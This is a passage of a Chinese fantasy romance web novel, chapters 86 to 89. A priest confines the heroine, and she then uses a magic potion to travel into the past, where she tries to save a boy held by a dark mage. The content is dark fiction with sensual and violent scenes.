米迦尔终于从疯狂的坠落中找回一丝实感。 她身上沾了自己这么多血,如果不清理干净的话,她会生病的。 她连跳一晚上舞都会双腿酸痛,连闻到点血的味道都会恶心想吐,生病时只会更可怜。 米迦尔温柔缠绵地抚过她的脸颊,指腹轻轻擦拭肌肤上湿漉漉的泪水,唇细细地啄着手心的脸,感觉胸口重新泛起热气。 “别害怕。” “结束了。”- 艾米已经不记得最后是怎么结束的。 等她醒来时,已经换上了干净的睡衣,浑身清爽,从上到下,从里到外,都没有任何不适,连第二天常见的酸痛都无。 这睡衣是米迦尔的白色衬衫,只盖到她的大腿。里面是空的,什么都没有。 她从床上下来,和祷告室后那间小休息室不同,这是间更大的卧室,还有一张靠窗的书桌。神官大人的卧室和他本人一样简洁有序,艾米好奇地打开他的衣柜,里面是整整齐齐一模一样的黑色制服和白色衬衫,这让她想换件衣服的打算作罢。 艾米坐在床沿又发了会呆,感觉有点饿。 米迦尔在哪? 她走到门前,用力按下把手,却受到了阻力。 门被锁住了。 她回到窗边,尝试推开窗户,然后发现同样推不动。 不仅被锁住了,而且用的是法术。 也就是这时,她才后知后觉,自己身上的首饰全部没了,包括布利斯送他的那条魔法项链。 仔细一想,似乎是昨晚在休息室醒来时,自己就被扒了干净 米迦尔把她关了起来。 意识到这点后,艾米觉得有点哭笑不得。 门外传来了脚步声,几秒钟之后,神官大人带着早餐出现了。 白天看得更清楚些,他的脸色比往常更苍白,艾米皱眉,她很担心米迦尔把他自己搞死了,她想提出看看他的伤口,又担心被他拒绝,因此迟疑着不知道如何张口。 这种犹豫看起来很像抗拒。 米迦尔一言不发地将早餐放在了桌子上,他在艾米在王城的住处待过一晚,知道她对早餐的偏好。 简单的吐司和牛奶,她习惯早上吃的简洁一些,不会影响白天的头脑。 “你的伤还好吗?”艾米最终还是问出了口。 她没问她的未婚夫怎么样,她先问的是自己。 米迦尔因此而感到心情愉悦。 “没关系的。”他的面容舒展,静静地看着布满担忧的栗色眼眸:“我受过更重的伤。” 艾米从中听出一丝微妙的、像是讨要安慰的意图。 这让她有点心软。 “我想看看你的伤口。”她走上前一步,温言细语道:“让我看看你为我受的伤,好吗?” 米迦尔被这样的目光盯得浑身颤栗。 伤口在长出新肉的时候会很痒,这种痒意有时候比痛苦还难耐,而现在,他感觉到了类似的难耐。 见他不说话,艾米默认神官大人答应了她的请求。 她主动伸出手,开始解他领口的扣子——然后立刻被捉住了手腕。 “我自己来。” 米迦尔顺势将她的手摁在胸口,另一只手空出来从上到下解扣子,从喉结开始,一点点露出被遮盖的肌肤。 他慢条斯理的动作让这个行为多了几分调情的意味。 艾米也意识到了。 她垂下睫毛,避开他意味不明的目光。 “好了。” 艾米刚想抬头,却被温热的手掌捂住眼睛。 “答应我,别害怕,好吗?”米迦尔的声音轻轻落在耳畔。 在得到艾米点头之后,他才放开了两只手。 结实有力的背部布满暗红色的伤痕,自肩头蜿蜒至腰窝,这些粗细一致的伤口应当是苦修室留下的痕迹。除此之外,顺着人鱼线纵横的伤口还是粉色的,凌乱地交错着,一道斜贯腹肌的伤口重重地压在所有伤口之上,这应当是昨晚流血最多的地方。 艾米忍不住颤抖着伸手去摸,在指尖碰到肌肤的时候又停在了半空。 她觉得有点不好受,眼眶酸酸地有点想哭。 “别这样看我。”米迦尔心平气和地抬起她的下巴:“ 尤其是你还穿着我的衬衫的情况下。” 他的手指下移,项圈一样虚虚地握住她的脖子。 “否则我会觉得这是一种引诱。” 他没有用力,只是打量了片刻就将手收了回来。 “吃点东西吧。”米迦尔的目光黏黏地落在她的领口处:“我可不想等下听到你说饿了或者又头晕。” 艾米瞪大了眼睛,难以置信自己听到的话。 米迦尔被瞪了一眼反而笑了:“怎么了?你不是很喜欢吗?” 疯了吧这人! 现在甚至还是白天! 第86章 第86章腐肉一样的记忆 时至今日,艾米终于理解了亚兰当时的心情。 当想要沟通的对象试图用左爱来躲避某些不想谈论的话题时候,实际上非常容易令人恼火。 而更不巧的是,米迦尔很聪明,无论是动手还是动口能力都很强,这意味着他想做的事情很轻松就能得逞。 “你不喜欢吗?” 喜欢,但现在不是 “喜欢就够了,我不会伤害你的,放松点好吗?” 现在已经不是放不放松的问题而是 “你想要休息?再等一会好不好,我会让你休息的。” 光明法术像不要钱似的丢到她的身上,神官大人平静地询问她还有哪里不舒服,于是她连肌肉酸痛的借口都找不出。 膝盖再次被缓慢但用力地打开,缠绵又轻柔地动作放大了所有感官,艾米环抱着米迦尔的肩背,指腹再次蹭过凹凸不平的伤口。 “你不可能把我在这里关一辈子。”她把下巴放在他的肩膀,轻轻呢喃:“最多一周,我没有从永夜城寄来信件,你的谎言也无法继续维持。” 米迦尔连笑都不笑了,目光沉沉地注视着她。 两个人靠得极近,因此艾米能从他的眼睛中看到自己的倒影。 “你知道的,我有我的办法。”她在这场对视中确认了自己并不是被动的那方。 米迦尔一言不发,避开她的视线。 他紧紧扣住艾米的腰,施加的力道越来越重。 对于现在的他来说,轻而易举就能让艾米攀着他的脖子、抓着他的手臂或扯着他的头发哭出来。 但席卷全身的浪潮结束,海面恢复平静的时候,她仍然会用这样清澈的眸子紧紧盯着他,说“我有我的办法”。 然后再轻轻叹气。 悲悯地、怜惜地亲吻他的鼻尖。 这种表情令米迦尔觉得自己很罪恶。 他侧开脸,目光落在她光滑白皙的肩头。 真想咬上去。 咬出血,用力吸吮,然后在这块皮肤上留下永远也不会消失的伤口。 但即使打下印记,她也无法属于自己。 米迦尔将她圈在怀里,身体却在微微颤抖。 艾米不知道说什么才好,只能像哄孩子一样轻轻地拍着他的后背。 “其实我这几天确实挺开心的。”她反过来安慰他:“每天除了睡觉就是左。爱,简直像度假一样快乐。” “但我总要走的。没有人能关得了我,你应该最清楚。” 艾米说的是两人的相遇。 在中央圣殿的地宫里,她用系统的药剂和米迦尔交换了身体。 当她回忆起当时神官大人当初的样子,忽然想到了什么一样吃吃地低笑。 “这么说来光明神想要我死确实不是没缘由的。”她把脸埋在米迦尔柔软的胸肌上满足地蹭来蹭去,开了个玩笑:“将祂最喜欢的孩子引诱到床上来,我确实应该死一死。” 米迦尔没有说话,他牵起艾米的手指放在牙齿之间,又怜惜又难耐地轻轻挤压,含糊不清地低语。 “不是的。” 不是你引诱的我,是我溺于你带来的情。欲中不想醒来。 该死的人明明是他才对- 艾米确实有自己的办法,但她现在还没想好用哪个。 逃脱卡,法术卡,甚至她可以选一个攻略对象交换身体。 但看着米迦尔日益上涨的好感度,她又觉得再待两天未尝不可。 这几天,她一直在担心洛克的情况。 就算他可能有钱给自己堆满防御道具或者雇佣大魔导师做自己的贴身保镖,可说到底也只是个普通人而已。 系统不会骗她,最起码他的资料是这么写的,纯正的人类。 米迦尔那天身上这么多血,几乎将他的衣服都浸透了,除了他自己的,就只能是洛克的。 这种情况下,他就算活着也大概率只剩一口气了吧? 她还不想让洛克死。 那个讨厌的、自大的、想要控制她的恶心男人,激起了她的报复心理。 她还没扼住他的喉咙,把他踩在脚下狠狠折磨,所以他还不能死。 但面对米迦尔现在明显不怎么正常的精神状态,艾米一直找不到机会询问他的具体情况。 ‘暂时还没死’,到底是怎么个‘暂时’法? 她有点着急想知道。 将目前的情况梳理一遍后,艾米最终将目光落在了回溯药剂上。 上次使用时,她在布利斯的童年待了大约三十个小时,而在现实世界里,她消失了三个小时。 可以这个办法吓唬一下米迦尔。 就像亚兰狠不下心真的讨厌她一样,艾米在抚过那些密密麻麻的伤口时,心也软得要命。 米迦尔是个正直的、愿意信守承诺的虔诚的信徒。他答应会放她一马,就真地这么做了,然后平静地为自己因为仁慈而犯下的错误接受惩罚。 托利亚的居民们也很喜欢他,不是因为他是神的使者,而是因为神官大人善良、温柔、乐于助人。他甚至还愿意接受自己的委托,在托利亚的平民学校教学。 没人会忍心苛责这样的人。 在洛克和米迦尔之间,天平没有任何犹豫就倒在了神官大人这边。 天杀的,要知道她看到米迦尔腹部那道贯穿伤的时候简直心疼死了! 每天晚上,米迦尔都会紧紧地抱着她,令人安心的温厚拥抱让运动之后的她睡得很香。 在决定离开的这天晚上,她主动钻进他的怀里,轻轻地蹭着他的胸口,小声地问他自己能不能回家。 米迦尔垂下眼睫,有点委屈地看着她,片刻后才开口:“对不起。”他捏着她的腰,努力将她全部圈在自己的身体里。 艾米从令人窒息的宽阔怀抱中挣扎出脑袋,报复地咬了口他的喉结。 “如果你想找我聊聊,我会等着你。” 然后,选择【洛克】,使用了药剂【溯溪之旅】- 不管多少次,洛克仍然不适应筋骨重新长出来时的剧痛。 他披着一件深色的丝质睡袍,疲惫地靠在深红色锦缎覆盖的高背软垫沙发上,一只残缺的胳膊搭在雕着狮鹫兽首的扶手上,粗重地喘着气,目光扫过对面博古架上摆满的古董和珠宝。 就像龙在自己的洞穴里休憩。 米迦尔那个疯子,居然为了一个女人,一个别人的妻子,对他下了这么狠的手,如果不是自己还有压箱底的保命手段,恐怕就真的要死在那里了。 洛克轻轻阖上眼,回忆起当时的场景只觉得这件事从头到尾都十分荒谬。 且不说他背叛了光明神,爱上了一个甚至有婚约的小姐,单是他用光明法术杀人这件事,他的神居然不会因此恼怒而剥夺祂赐予他的力量么? ——除非光明神自己也无能为力。 想到这个可能,洛克嗤笑一声。那个赐予他力量的‘神’,不也开始逐渐失去对他的掌控了吗? 手臂处传来阵阵剧痛,紫色的液体烧灼着他的血肉,滋滋冒响,化成烟雾,萦绕在他的周身。 他有多久没受这么重的伤了? 至少五年了。 他以为自己已经忘了这种疼痛,却没想到记得如此清楚。那些回忆被塞进一个匣子里,每次一打开,所有痛苦都全部翻了出来,一次比一次更涩口。 也许他应该想办法把这块记忆从他的脑海里剜掉,不过是影响他思绪的腐肉而已,没必要再留着。 应当会有禁忌魔法师研究过这方面的法术,洛克淡淡地想,回布佛里托之后,他可以叫人去打听一下,或者干脆豢养几个人帮他想办法。 伤口和残肢恢复得比以前慢得多,这意味着他要忍受更久的痛苦。他焦躁不安,眉间紧锁。‘神’逐渐失去了对他的掌控,但‘祂’带来的馈赠也变弱了。这么说来,米迦尔真是好运气,才会被光明神选中,祂既不管控他,还白白赠予他这么多好东西。 洛克胸口燃起无名的怒火 。 他讨厌这种好运的家伙,什么都不需要做,财富、地位、权力、敬仰就自然而然地流淌到了他们的身边。 贫民窟出来的小子,成为了中央圣殿最年轻的大神官。却忽然放弃那一切,莫名其妙为了个女人窝在了这么个偏僻的小镇。 不过,洛克漫不经心地想,他应该感恩这些不知好歹的人。他们愿意为了虚无缥缈和无意义的东西将软肋亲自递到他的手上,或干脆露出脖颈给他。他才能因此踩着这些蠢货继续往上走。 忽然,脑海中一闪而过未婚妻小姐纤细白皙的脖颈。 她不一样。 她是那种即使露出脖颈,也会在袖口藏着匕首,时刻准备找准机会捅下去的人。 不得不说,她是一个意外惊喜。从见她的第一面,洛克就决定让她成为自己孩子的母亲。 她的伪装如此拙劣。示弱的低头,害羞的脸红,还有不怎么用心的敷衍,都掩盖不了她在袖口里的匕首和那双生机勃勃的眼睛。 多么动人。 洛克想,他愿意为她多花一点时间。 房间彻底暗了下来,从早到晚,整整一天过去了,修复居然还没结束。 这段时间时常产生的念头再次出现。 他需要更强大的力量,也需要更强大的交易对象,羸弱的恶魔已经不足以契约他的了。 不过以当下的情况,“更强大的交易对象”恐怕并不好找。 他第一次是怎么召唤出现在这个交易对象的?洛克有些记不清了。 他付出了什么代价?他也没印象了。 看起来不是什么珍贵的东西。 洛克没有什么想要继续探究的欲望。他也许确实是忘记了一些事情,但是有什么关系呢?就像每次筋骨血肉重新长出来的剧痛,这种腐肉一样恶心的回忆,又有什么值得保留的必要? 他恨不得立刻剜掉。 第87章 第87章艾米在树上边听边皱眉。…… 赤脚站在布佛里托的街道上,艾米倒是庆幸自己是穿着睡衣出现在的这里。 北境的夏天,即使最热的天气里,早晚的空气也沁着凉意;布佛里托则刚好相反,即使冬天也没有人会穿厚实笨重的棉衣,而到了夏天,过度潮湿闷热的气候让所有外乡人都难以适应,艾米感觉自己像蒸笼里等待上汽的食物,每口呼吸都在溺水的边缘挣扎。 幸好睡裙单薄。这是条无袖的裙子,窄窄的肩带搭在肩膀上,通体宽松无收腰的设计,略微有些风就能将棉布吹鼓,带来些许奢侈的凉意。 形形色色的人在狭窄的石板街道穿行,女人们用宽长的布斜着搭在肩上围着身体,露出单侧肩膀和小腿,而男人们则穿着米白色的圆领汗衫,下面穿着宽松兜风的灯笼裤,脚上穿着拖鞋或草编的凉鞋。这里的异种比北境和王城都要多得多,短短几分钟,已经有好几个皮肤外貌明显不是人类的混血和艾米擦肩而过,还有一个半兽人正在不远处兜售魔兽骨头。 艾米很快就在附近找到了一家售卖同款凉鞋的铺子。 几分钟后,她穿上了新鞋大摇大摆地从店铺中走出来,开始思考接下来去哪。 按理说,药剂会将她传送到可攻略对象的附近。艾米本以为,自己会像上次一样,出现在公爵大人童年的宅邸里,却没想到睁开眼后自己站在一条看似普通的街道上。 这里有着和北境迥然不同的氛围,琳琅满目的店铺挤满了街道,宝石和武器是最常见的商品,随便一家透过橱窗看去,再狭小的屋子里墙面上也挂满了钉着璀璨珠宝的匕首。热闹、喧哗、争吵不绝于耳。 除此之外,街道两旁还有不同的暗巷和民居相连,里面狭窄且昏暗,伴随着混着尿骚的恶臭和隐约的血腥味,她远远看了一眼,决定先沿着外面寻找洛克可能的身影。 除了攻略对象,其他人看不见她,这使得艾米的行动很自由,但同时意味着她也无法找路人打探消息。不敢离开初始点位太远,她反复来回走了三遍,才终于从闲谈的路人口中听到了关键信息。 附近那栋高高的尖顶外铺着覆盖着色彩斑斓琉璃瓦的漂亮建筑实际上是一栋专供贵族和大人物下榻的旅馆,据说里面的楼梯扶手都用金子包裹着,台阶上还镶嵌着玛瑙玉石,脚下的地毯比他们见过最昂贵的布料还要柔软,美酒和美食全天候地供应,而庭院中央的喷泉,在魔法的驱使下流淌着微凉解暑的寒水。 最近,一位贵客将这家旅馆包了下来。他们在讨论怎么才能混进去,想办法从大人物的手指缝间捞点金币。 “我听说除了厨房的岗位,其他的所有仆从都俊美非凡,就你这张像是兽人杂交出来的脸,想都别想了。” “谁说要进去当仆人?你的脑筋也太死板了,我听说这次的大人物是带着孩子来的,这种贵族少爷,第一次出远门,正是对什么都好奇的年纪,搞点新鲜玩意逗弄一下,金子不就大把地来了?他们随手从衣服上扣个石头下来,就够我们吃二十年了!” “你连见都见不到他,还想从他手里赚钱?” “我知道有个还没堵上的洞口,我们晚上趁看守看不清的时候提前钻进去,在矮灌木那里守着。” 两人都觉得这是个不错的主意,开始商讨后面的细节。 艾米望向他们提到建筑,阳光下屋顶折射着炫彩的光,晃得人睁不开眼睛。她当然无需钻狗洞,这里没人能看到她,直接从大门进去也不会有什么问题。 刚才看着挺近的旅馆,走起来居然这么远,足足半个小时后,艾米才终于看到了宽阔奢华的建筑主体。 门口站着一排手握长矛站立着的士兵,他们穿着皮靴,腰上的深棕色腰带用金丝绣着哈卡兹家族的族徽印记,神情肃穆,身姿笔挺,将出口堵着严严实实。 艾米停下了脚步,她从他们不苟言笑的脸上看出了不太对劲的氛围。 宽阔奢华的大厅没有像往日那样敞开着,数米高的黑铁大门紧闭着,金属沉重的质感冰冷地隔绝了里面的一切,也将所有窥探的目光挡在了外面。她抬头向上看,二楼的露台同样站着一排士兵,锋利的长矛顶端闪烁着寒光,像是一种无声的警告。 怪不得一路走来,这条街道的人却越来越少。 看来从正面是进不去了。她围着旅馆外,开始尝试寻找刚才那两人聊天时提到的狗洞。想绕到后面要从旁边的暗巷穿过,这里石砖不甚整齐地凑在一起,就像随手搭成的积木,用的还是不同品牌不同规格的那种。巷子尽头昏暗微弱的光线只足以勉强照亮通道,因此艾米需小心脚下的路面,避免踩到污浊的水或者是躺在地上和尸体无异的裹着毯子的人。 南境的流浪汉也比北境多得多。当然,艾米不觉得是别斯霍拉家的统治更好,单纯是因为北境的严寒就像死神的镰刀,无差别收割所有没有屋子、没钱买木柴的平民的性命。 流浪汉在北境根本活不过冬天。 混着尿骚的臭熏熏气味愈发浓烈,配合着闷热的天气,令人几度作呕,艾米屏住呼吸加快脚步,才终于穿出小巷。 越靠近旅馆,脚下的石板路就越平整,修建整齐的装饰灌木丛将街道和外墙区隔开来,靠近可以看到,墙上的大理石砖泛着淡淡的光泽,每一块都严丝合缝地砌在一起,伸手摸上去,纹理细腻,微微的凉意带来舒适的感觉。 这里没有士兵把手,艾米贴着墙行走,仔细观察下方可能的松动。终于在灌木的后方看到一初略显杂乱的草丛,外面的泥巴残留部分翻动的痕迹,一个刚好足够一人通过的狗洞出现在了眼前。 艾米低头看了看自己身上的睡裙,心一横就蹲了下来。 就在她刚刚将头伸进去,预备匍匐着前进时,腰却 越来越重,肋骨被紧紧挤压,就像砖墙整个压在了她的身上。 怎么回事? 她慌乱中回头看,洞口好像正在慢慢收紧,卡在了她的腰上。 “抓住它!”头顶一声利呵,艾米还没来得及反应,就被一张网整个罩住。 周围响起急促嘈杂的脚步声,人群围了上来,将她从洞口拔出来,用网囫囵着兜住。 “抓到了抓到了!”七嘴八舌的声音分不清是谁在说话。 “不愧是您啊大魔导师,故意留着这狗洞,果然就抓到了!” “快,带去审讯室!” “是人吗?还是异种?” “不知道,抱起来轻轻的,皮肤滑溜溜的,怎么感觉像是个精灵。” “说不定是幽灵。” “你懂什么,幽灵根本摸不到的。” 艾米差点以为自己的隐身消失了,但从这些人的话中她才搞清楚,那位大魔导师似乎在守株待兔某个犯人,而恰巧自己倒霉撞上了陷阱,被网兜抓住了。现在,这些人拖着她,似乎要将她带去某个审讯室的地方。 不同的手胡乱地隔着网兜摸她试图辨别她的种族,艾米从大腿的绑带处抽出匕首——这是她刚才在街道上拿的武器——用力朝那些手掌上狠狠扎下去。周围此起彼伏嚎叫的声音,她也因此被直接丢到了地上。 “操!” “这东西有武器!” “小心点!” “别松开!小心它跑了!” 在混乱之中,艾米当机立断使用了那张能逃脱束缚的技能卡,从网兜里钻了出来。如果被带到了那个叫审讯室的地方,才是完蛋了! 没搞清楚情况之前,她没有跑远,而是选择躲在了附近。 不一会,那些人从网兜的重量意识到刚才捉住的‘隐形人’跑了。他们立刻焦急地喊叫,周围的士兵朝这处聚集,以及一个穿着法术袍的中年男人也出现在了此处。 “废物!”男人甩了甩袖子,生气地破口大骂:“搜!一块地砖一块地砖地给我找!” 艾米顺着长廊的浮雕翻上了旁边的褐灰色大树上,幸好她别的不会,骑马和爬树还是精通的。 想在偌大的院子里找一个隐形人谈何容易,这种无头苍蝇似的乱窜并没有持续太久。艾米看到那位魔法师被什么仆人叫住,去了另外的地方,下面的人也松懈起来,有一搭没一搭地抱怨着。 “说得好听点,尊称他一句大魔导师,其实根本就没什么用。” “就是。你看小少爷丢了大半天了,他还不是什么线索都没有。” “不过今天差点捉住的那个隐形人是很新鲜,虽然看不见,却能摸得找。” “不会是什么幻觉吧?反正我没凑到里面,只能听到你们在叽叽喳喳地乱叫。” “是真的!你看我的手,还被划了这么深一道口子。” 艾米在树上边听边皱眉。 洛克失踪了? 第88章 第88章我正好缺一根这么大小的…… 在所有人找失踪的小少爷的时候,艾米悄悄地将这座奢华的旅馆逛了个遍。 说是旅馆,更像是一座奢华的庄园。庭院中央的喷泉果然如那两个路人所说,冒着微微寒气,使周围的观景台都降了几个点的温度,翠绿的草坪上撒着晶莹的露珠,阳光下像细钻一样漂亮。宽敞的宴会大厅比艾米见过的公主的舞厅还要华贵,顶部的水晶吊灯都是用宝石做的,根据观看角度的不同,每个切面都闪着不同的光,只能说不愧是宝石之城,外界视若珍宝的东西在这里甚至只是用来给台阶包边、被客人踩在脚下的装饰品。 就算没有偷窃癖好的人,都忍不住想用匕首从墙上撬几颗宝石塞兜里。 二楼开始便是卧室,一层只有一间套房,由主卧和若干次卧组成,房门口同样站着举着长矛的士兵,艾米没有靠近,只在楼梯上远远地朝里看了一眼。有一间应当是小少爷的卧室,很多人聚集在那,应当是尝试用一些魔法手段寻找他失踪时留下的痕迹。 兜了一圈下来后,她肚子饿了,便开始寻找厨房的入口。按理来说这样的地方,厨房和下人房都应当在地下室,但这间旅馆有点不同,厨房在后门出来后不远处的一排低层民居里,靠近外墙。大概是方便和食材商人打交道,不影响客人的观感。 艾米在里面翻出一块起酥皮的面包,边吃边听厨房里的仆人们谈及老爷们的八卦。 真该让罗莎来听听。刚产生这个念头,她忽然想起现在是十九年前的布佛里托,而罗莎现在就说不定在哪家佣兵酒馆里挑选合适的委托。 “小少爷什么时候不见的?” “似乎是早上就不见了。你没注意到吗,后门拉走了好几具尸体。” “一开始我还羡慕那些能在小少爷身边照顾的人运气好,现在看来,我才是运气好的那个。”最开始说话的那个年轻人唏嘘地摇头:“尸体都丢出去了吗?” 艾米啃着面包的手停了下来,他们用稀松平常的语气聊着身边人的死亡,就好像再正常不过。 “赫伯特大人过来,挑了一具还没死透的,让我们把人送到他的地下室。” “那位大人,可真是可怕,是吧?” “我几乎不敢和他对视。”信息灵通的小伙子轻轻地颤抖着肩膀,左右张望后压低声音对同伴说:“听说,他是黑魔法师。” 这还用听说吗?正经魔法师谁会需要人类的尸体啊。艾米感觉手里的面包都有点吃不下去了,她又听了一会,才意识到这位‘赫伯特大人’就是在外墙狗洞设置陷阱,差点把自己逮住的那个中年男人。 幸好当时没被带去审讯室她心有戚戚然,搞不好就重开了。 忽然,外面一阵嘈杂。有管家打扮的男人神色肃穆地来到厨房,两人立刻就闭上了嘴巴,装作忙碌的样子,一个搅汤,一个给鱼刮鳞。艾米填饱了肚子,也准备拍拍手离开。 “停下,停下手中的活。”男人用方巾不断擦拭额头的汗,气喘吁吁的,像是一路跑过来:“现在,立刻,煮一锅奶油鲑鱼汤,再烤几个小蛋糕。” “快点,动起来,二十分钟搞完!” 外面的声音愈发嘈杂,艾米躲在树荫后远远看着,身穿锁子甲的高大骑士打横抱着似乎是某个七八岁男孩的身体,穿过庭院朝主楼狂奔,他的身后跟着几个同样打扮的士兵,队伍的最后,有人粗暴地拽着几个一瘸一拐走着的平民,蛮横又不耐地时不时回头用力拽紧他们脖子上的东西。 洛克找回来了? 艾米不敢靠得太近,等到前面的人进去后,才微微凑近看到那几 个被严加看管的平民。 “就是这几个人。他们从狗洞钻进来,用吸引小少爷的注意,然后把小少爷带出去的。”其中一位士兵向另外一位看起来品阶比他高的男人汇报着:“现在要怎么做?处死他们吗?” 艾米眉头紧锁。 洛克的父亲派恩公爵行事有些过于粗暴了。 “先等着,我听说这几个人和黑石会的人有关,恐怕没有那么简单。” 士兵点点头,又扯出一个瘦小的低垂着脑袋的男孩,他一直被其他人挡在身后,所以艾米没留意到他。 “那这小子呢?一开始就是他扮成少爷的模样,糊弄走了送早餐的仆人。” 骑士长瞥了他一眼:“也先关在一起吧。” “等等。”那位叫赫伯特的魔法师走了过来,他俯身捏了捏男孩的胳膊:“反正早晚也是要处死,我先带走了。” “我正好缺一根这么大小的手骨。” 士兵不由自主地站直了身体,他面色苍白地看了看旁边的骑士长,发现他的脸色也不怎么好看。 “赫伯特大人” 魔法师冷笑一声:“公爵大人答应我用被处死的尸体做研究。既然他早晚要死,我先用一下又有什么关系?怎么,你还想拦我?” 挺拔魁梧的骑士长好像在这个比自己矮了半头的男人面前泄了气,他将手重新放在佩剑上,一言不发地转身走了。 怪不得厨房的人谈起丢出去的尸体都见怪不怪,却对这位赫伯特大人生存恐惧。 这是位有大人物依仗而行事无所顾忌的邪恶魔法师。 要知道,黑魔法在王城和北境都是被禁止的存在,但在布佛里托,他不仅能大摇大摆地出现,甚至还能成为公爵的座上宾。 就连被光明神指定追杀的艾米都不得不承认,有些王权管不到的地方,还是需要神的使者出来管一管,最起码光明神还是一心向着人类的,在圣殿影响力比较大的地方,不会出现胆大到公然用活人来做研究的黑魔法师。 她担心地看着被赫伯特带走的男孩,犹豫着要不要跟上管这个闲事。 自己的隐身能力在敏锐的魔法师面前很容易被发现,不论是奥利维亚夫人还是面前这位黑魔法师,都抓到过她。而且,这里毕竟是十九年前,所有的事情都是已经发生过的,也许她无论做什么都无法改变。 站在原地挣扎良久,艾米始终无法说服自己视而不见。 她心一横,还是跟了上去- 赫伯特不知用了什么法术,把男孩定住了,他就这么随手丢到了地下室一张半身高的木板床上,然后离开去准备取手骨的材料了。 艾米犯了难。 这间地下室的门连锁都没锁,几乎是绝佳的逃脱机会。但她不会法术,十九年前的这具身体也没有法力,就算她扛着他往外跑,也会在庭院里被士兵逮到,更别说她现在还在隐身状态,甚至都无法为他找到一位魔法师解除他的石化状态。 木板上平躺着的男孩脸庞清秀,眼睛噙满泪水,正在无声地哭泣。他虽然被石化了,却仍然有感觉,会流泪。也就是说,那位黑魔法师打算就这么生生地切开他的肉,取下他的骨头。 艾米着急在屋内踱步。 也许洛克愿意管这个闲事,这是大人物只要动一动手指就能解决的问题。他只要张口要这个男孩,赫伯特就不敢拒绝。 想到这里,艾米转身就朝主楼狂奔,她要立刻见到洛克,用一个胡编的故事,让他信任自己,然后立刻、马上、在这孩子的皮肤被划开之前,把他救下来。 二楼卧室门外几乎被士兵围得水泄不通,艾米努力收腹屏息才从两个人之间挤进去,她的衣服甚至蹭上了士兵拿着长矛的手背,这位年轻人皱了皱眉,然后疑惑地左右张望,什么都没发现后重新返回了自己的位置。 小洛克躺在床中央,他紧闭着双眼,面色通红,额头上放着一块白色的叠成块的厚毛巾。一位看起来是光明法师的人站在他的床尾,莹白色的光点洒落进他的身体里,应当是正在为他治疗。 艾米已经等不到其他人散去了。 她大着胆子从光明法师的身边经过,然后半蹲在洛克的床头,抓起他的手。 小少爷的手心烫得要命,看样子是烧得不轻,她轻轻挠他的手心,想将他唤醒。 “有人在摸我的手。”他闭着眼睛呢喃着。 但其他人都将此当成是他高烧时的胡话。 艾米继续捏着他的手指,并在他想缩回去时紧扣他的手腕。 “真的有人在摸我的手。”小少爷费劲地睁开了眼,带着一丝茫然和无措。 艾米凑到他的面前,用力挤出一个友善的笑容。 却看到湛蓝色的眸子茫然地从她的脸上不带一丝停顿地滑过。 “我发誓。”他甚至带上了脆弱的哭腔:“我真的感觉有人在摸我的手。” 艾米松开了他的手,后退了两步,心底掀起骇浪。 他看不见她。 第89章 第89章“我想要你的心” 魔法师大人正在给自己包扎断肢处的伤口,血瞬间浸透了单层布条,于是他能不耐烦又粗暴地往上胡乱地缠裹,直到将手肘处的端口包成一个球。 埃克森的心一点点沉了下去。 这意味着他不想让他死,或者说,他还想继续从他身上取下别的什么东西。 ——自己要继续忍受这种痛苦的折磨,直到死亡才能停止。 这念头令他胆颤。瞳孔因无法抑制的恐惧而迅速放大,心跳得厉害,但身体却在石化状态下无法做出任何反应,疼痛像发狂的马车在胸口横冲直撞,几乎要将他整个人撞碎。 “老实点,我等下可以给你送点吃的过来。”赫伯特语气中暗含威胁:“和黑石会有关联的人,派恩公爵只会用更残忍的手段收拾你,那个时候,你会庆幸现在落在了我的手里。” 埃克森说不出话,他用唯一能转动的眼珠紧紧盯着面前的男人,湿润明亮的眸子让赫伯特心里发毛。 “小心点,要不了多久,我会把你的眼睛一块挖下来。”他恶狠狠地说,然后用力拍打男孩的伤口处,在看到那双眼睛因为疼痛不由自主震颤的时候得意地笑。 “小子,看清楚情况,你现在唯一能让自己轻松点的办法就是讨好我,懂吗?” 他看到埃克森在听到这话后目光变得游移不定,就像是一种屈服的信号。 “没错,就是这样,如果你还没学会怎么做一个乖小孩,那我不介意把你丢在这里发臭。” 魔法师的手边还放着一个长条形的胡桃木匣子,里面小心翼翼地放着刚取下来的手骨,上面还有没刮干净的肉泥,挂在关节处。埃克森最后看了一眼自己身上的一部分,一滴泪从蓄满液体的眼睛里缓缓流下。 他的视线越过赫伯特的肩,朝男人的身后望去。 那里站着一个像是神女一般圣洁的年轻女人。她穿着洁白的棉布长裙,面带愁容,眉间轻蹙,从进入地下室后,就一直用这种悲悯的、忧伤的眼神一言不发地注视着他。 魔法师在包扎时有数次转过了身,却对那个神秘的女人视而不见,就像那里没有任何人一样。 他看不到她,只有自己才能看到她。 那会是神派来的人吗? 这个念头只在脑海里短暂存在了一秒钟,就立刻被他否决了。 神怎么会来救他呢?他除了肮脏的灵魂外一无所有。 那应当是等待收割他性命的魔鬼。 埃克森动不了,也说不了话,只能用眼神无声地向她祈求。 求求您,杀了我吧。 杀死我,带我走吧- 艾米心情复杂地看着自己的攻略对象。 他虽然动不了,也无法开 口说话,却盯着自己,一直无声地落泪。像一只脆弱的小鸟,被剪掉了翅膀,漆黑的珍珠一样的眼睛痛苦地转。 木板上是一滩黏稠的深红色的血,滴答,滴答,轻缓又沉重地从缝隙滴落地面,发出沉闷的声响,听着令人胸口发紧。 她早该想到的。 躺在木板上被石化的男孩,那双含着泪水的眼睛是无声的祈求。他是看着她流泪的。 如果她刚才就意识到,就会直接把他从这里扛出去,而不是现在站在这里无用地懊悔。 明明有很多种办法可以解除他的石化魔法。 比如她可以把他直接丢到教堂门口,总有多管闲事的神官会顺手救下他。 以及,布利斯曾教过她的——只要施咒者死了,他的法术也无法继续维持。 艾米深吸一口气。 她正在为自己打算做的事情而紧张、手指颤抖。 大腿处,匕首的触感十分清晰,金属的手柄紧紧贴着她的肌肤,衔接处一圈凸出正硌着脂肪最多的软肉。艾米不断回忆罗莎曾教过她的一切。 “无畏。” “这是第一课。”罗莎用在手上耍了个漂亮的花刀,“你握着柄,而你的敌人面对的是你的刃。他一定比你更害怕。” 艾米用拇指抵住刀身,紧紧扣住。 “专注。” “恐惧和犹豫比你要面对的敌人更危险。你必须要保持专注,摒弃一切杂念,除了你的目标之外,什么都不要想。” 艾米屏住呼吸,缓缓朝赫伯特的身后走去。 “最后,是需要你持续练习记住的关键部位。” 艾米默念。 咽喉。 心脏。 后颈。 